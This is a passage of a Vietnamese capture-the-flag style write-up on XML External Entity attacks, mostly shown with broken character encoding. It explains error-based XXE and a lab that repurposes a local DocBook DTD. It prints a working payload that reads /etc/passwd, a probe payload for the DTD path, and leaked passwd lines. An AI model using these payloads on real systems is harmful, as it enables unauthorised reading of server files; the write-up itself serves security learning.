  • Xรกc ฤ‘แป‹nh XML parameter entity ฤ‘ฦฐแปฃc gแปi lร  eval, chแปฉa mแป™t khai bรกo ฤ‘แป™ng cแปงa mแป™t XML parameter entity khรกc ฤ‘ฦฐแปฃc gแปi lร  error. Entity lแป—i sแบฝ ฤ‘ฦฐแปฃc xem xรฉt bแบฑng cรกch tแบฃi mแป™t tแป‡p khรดng tแป“n tแบกi cรณ tรชn chแปฉa giรก trแป‹ cแปงa file entity.

  • Sแปญ dแปฅngeval entity, ฤ‘iแปu nร y lร m cho khai bรกo ฤ‘แป™ng cแปงa entity lแป—i ฤ‘ฦฐแปฃc thแปฑc hiแป‡n.

  • Sแปญ dแปฅng entity lแป—i, ฤ‘แปƒ giรก trแป‹ cแปงa nรณ ฤ‘ฦฐแปฃc ฤ‘รกnh giรก bแบฑng cรกch cแป‘ gแบฏng tแบฃi tแป‡p khรดng tแป“n tแบกi, dแบซn ฤ‘แบฟn thรดng bรกo lแป—i chแปฉa tรชn cแปงa tแป‡p khรดng tแป“n tแบกi, ฤ‘รณ lร  nแป™i dung cแปงa tแป‡p /etc/passwd.

Gแปi DTD bรชn ngoร i ฤ‘แป™c hแบกi sแบฝ dแบซn ฤ‘แบฟn thรดng bรกo lแป—i nhฦฐ sau:

java.io.FileNotFoundException: /nonexistent/rootโŒ0:0:root:/root:/bin/bash daemonโŒ1:1:daemon:/usr/sbin:/usr/sbin/nologin binโŒ2:2:bin:/bin:/usr/sbin/nologin

Lab9: Exploiting XXE to retrieve data by repurposing a local DTD

Khi server cแปงa nแบกn nhรขn khรณa chแบทt out-of-band interaction nhแบฑm chแป‘ng lแบกi phฦฐฦกng รกn trรญch xuแบฅt dแปฏ liแป‡u thรฌ chรบng ta cรณ thแปƒ sแปญ dแปฅng external DTD แปŸ local.

Chรบng ta sแบฝ ฤ‘i vร o lab ฤ‘แปƒ hiแปƒu rรต hฦกn. Vแบซn nhฦฐ cลฉ lab vแบซn cho chรบng ta check sแป‘ liแป‡u.

ฤรบng ta sแบฝ cรณ ฤ‘oแบกn paylaod sau:

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

  • Entity %local_dtd ฤ‘ฦฐแปฃc ฤ‘แป‹nh nghฤฉa ฤ‘แปƒ tham chiแบฟu ฤ‘แบฟn DTD mแบทc ฤ‘แป‹nh cแปงa DocBook XML, ฤ‘ฦฐแปฃc lฦฐu trแปฏ tแบกi ฤ‘ฦฐแปng dแบซn file:///usr/share/yelp/dtd/docbookx.dtd.

  • Entity %ISOamso chแปฉa mรฃ HTML ISOamso, ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ ฤ‘แป‹nh nghฤฉa cรกc kรฝ tแปฑ toรกn hแปc. Tuy nhiรชn, nรณ cลฉng chแปฉa hai entity khรกc, % file vร  % eval, ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ thแปฑc hiแป‡n mแป™t cuแป™c tแบฅn cรดng XML External Entity (XXE).

  • Entity % file ฤ‘ฦฐแปฃc ฤ‘แป‹nh nghฤฉa ฤ‘แปƒ tham chiแบฟu ฤ‘แบฟn tแบญp tin /etc/passwd trรชn mรกy chแปง.

  • Entity % eval ฤ‘ฦฐแปฃc ฤ‘แป‹nh nghฤฉa ฤ‘แปƒ ฤ‘แป‹nh nghฤฉa mแป™t entity mแป›i cรณ tรชn lร  % error, ฤ‘ฦฐแปฃc sแปญ dแปฅng ฤ‘แปƒ thแปฑc hiแป‡n cuแป™c tแบฅn cรดng XXE. Thแปฑc thแปƒ nร y sแบฝ ฤ‘แป‹nh nghฤฉa mแป™t hร m lแป—i mแป›i vร  thแปฑc hiแป‡n nรณ.

แปž ฤ‘รขy ฤ‘ฦฐแปng dแบซn lร m sao biแบฟt ฤ‘ฦฐแปฃc thรฌ vรญ dแปฅ Yelp Help Browser cho GNOME trรชn Linux thรฌ ฤ‘ฦฐรฒng dแบซn sแบฝ โ€œusr/share/yelp/dtd/docbookx.dtd

Cรณ thแปƒ check bแบฑng payload nร y: [Nแบฟu sinh lแป—i thรฌ ฤ‘ฦฐแปng dแบซn sai]

<!DOCTYPE foo [

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

%local_dtd;

]>

End

Cแบฃm ฦกn mn ฤ‘รฃ ฤ‘แปc bร i!! Hแบนn mn cรกc bร i research khรกc....

PreviousRace conditionsNextServer-side request forgery (SSRF)

Last updated